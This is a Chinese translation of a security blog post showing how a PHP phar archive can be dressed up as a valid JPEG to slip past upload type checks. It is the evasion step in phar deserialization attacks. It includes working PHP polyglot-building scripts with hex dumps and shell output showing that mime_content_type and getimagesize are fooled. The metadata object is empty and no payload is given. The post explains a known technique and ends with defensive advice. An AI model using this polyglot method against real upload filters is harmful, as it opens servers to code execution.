攻击者是如何将PHP Phar包伪装成图像以绕过文件类型检测的

原文： https://www.nc-lp.com/blog/disguise-phar-packages-as-images

在US BlackHat 2018大会上，安全人员证明，攻击者不仅可以利用PHAR包发动RCE攻击，而且，通过调整其二进制内容，他们还可以将其伪装成一幅图像，从而绕过安全检查。

在本文中，我们来看看第二点是如何做到的。

背景知识

在US BlackHat 2018大会期间，Sam Thomas召开了一个关于在 PHP 中利用 phar:// 流包装器来实现针对服务器的代码执行攻击的研讨会（ 幻灯片 ）。

在运行PHAR包时，由于PHP会对其内容进行反序列化，从而允许攻击者启动一个PHP对象包含链。其中，最有趣的部分在于如何触发有效载荷：归档上的任何文件操作都将执行它。最后，攻击者根本无需关心文件名是否正确，因为即使是失败的文件调用，PHP也会对其内容进行反序列化处理。

此外，攻击者完全可以将PHAR包伪装成一幅图像：在这篇文章中，我们将为读者解释他们是如何做到这一点的。

降至字节码级别

有时我们会忘记这一点，那就是在机器眼里，文件只不过是一堆遵循预定义结构的字节而已。对于应用程序而言，将检查自己是否可以管理这样的数据流，如果可以的话，就会生成相应的输出。

在Thomas的演讲中，曾提示如何创建具有有效JPEG头部的PHAR包。

图片引自Sam Thomas的幻灯片

不过，这里我们要做的是创建一个具有JPEG头部的文件，并更新PHAR的校验和。这样一来，PHAR包一方面会被视为一个图像，同时，PHP还可以继续执行它。

开始下手

听起来，这里只需修改几个字节并更新校验，按说应该非常轻松，对吧？

然而，事实并非如此。

计算校验和（至少对我来说）是一件让人头痛的事情。所以，我想：如果让PHP来代劳的话，会怎样呢？

所以，我对Thomas的原始剧本进行了一番改造，具体如下所示：

<?php
class TestObject {}

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();

如您所见，这里将原始HEX字节添加到了PHAR存档的存根部分。下面是原始HEX得到的结果：

tampe125@AlphaCentauri:~$ xxd phar.jpeg 
00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f  ......xt __HALT_
00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a  COMPILER(); ?>..
00000020: 4c00 0000 0100 0000 1100 0000 0100 0000  L...............
00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374  ......O:10:"Test
00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000  Object":0:{}....
00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b  test.txt.....~z[
00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000  .....~..........
00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea  testo...}?..{.5.
00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42  ....r.&.....GBMB

这同时是一个合法的PHAR包，以及一幅合法的JPEG图像吗？

tampe125@AlphaCentauri:~$ file phar.jpeg 
phar.jpeg: JPEG image data
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)

看到了吧，PHP将其视为一幅图像，我们仍然可以探索存档的内容。哈哈，好玩吧！

注意：请仔细查看存根部分，看看它是如何“跳过”开头部分的PHP标记的。因为这里是绕过大多数内容扫描程序的关键所在。对于存档来说，是否有效的关键在于函数 __HALT_COMPILER() ； 我认为，PHP会通过它来确定出应该“跳过”多少数据。

更进一步

到目前为止，我们制作的文件已经可以通过任何基于文件头的类型检测了，但是，对于更高级的检测方法来说，它就无能为力了。例如，使用 getimagesize 来检查文件内容是否为图像的话，将返回false，因为它并不是一幅“真正”的图像：

tampe125@AlphaCentauri:~$ php -a
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
bool(false)

看到了吧。

但是，别忘了，我们可以在 __HALT_COMPILER() 标记之前填充任意的数据的，所以，如果我们在此填入一幅完整的图像的话，会怎样呢？于是，我花了大量的时间去研读 JPEG规范 和 PHP源代码 ，不过最后仍然没有理出头绪，所以，我果断决定放弃——太复杂了。

那么，能否直接使用GIMP创建10x10黑色图像并嵌入其中呢？

<?php
class TestObject {}

$jpeg_header_size = 
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();

好了，看看效果如何：

tampe125@AlphaCentauri:~$ file phar.jpeg 
phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
array(7) {
  [0] =>
  int(10)
  [1] =>
  int(10)
  [2] =>
  int(2)
  [3] =>
  string(22) "width="10" height="10""
  'bits' =>
  int(8)
  'channels' =>
  int(3)
  'mime' =>
  string(10) "image/jpeg"
}

这次，我们如愿以偿了。这个文件不仅是一个包含我们想要利用的类的PHAR包，同时，它还是一幅合法的图像（我们甚至可以用系统图像查看器打开它）：

小结

正如我们刚才看到的，文件实际上只是一堆字节而已：如果我们只是利用其元数据进行类型检测的话，那么很可能会出错：攻击者可以轻松绕过检测，并返回他们想要的文件类型。要想检测文件类型，更加可靠的解决方案是直接读取文件内容并搜索恶意字符串。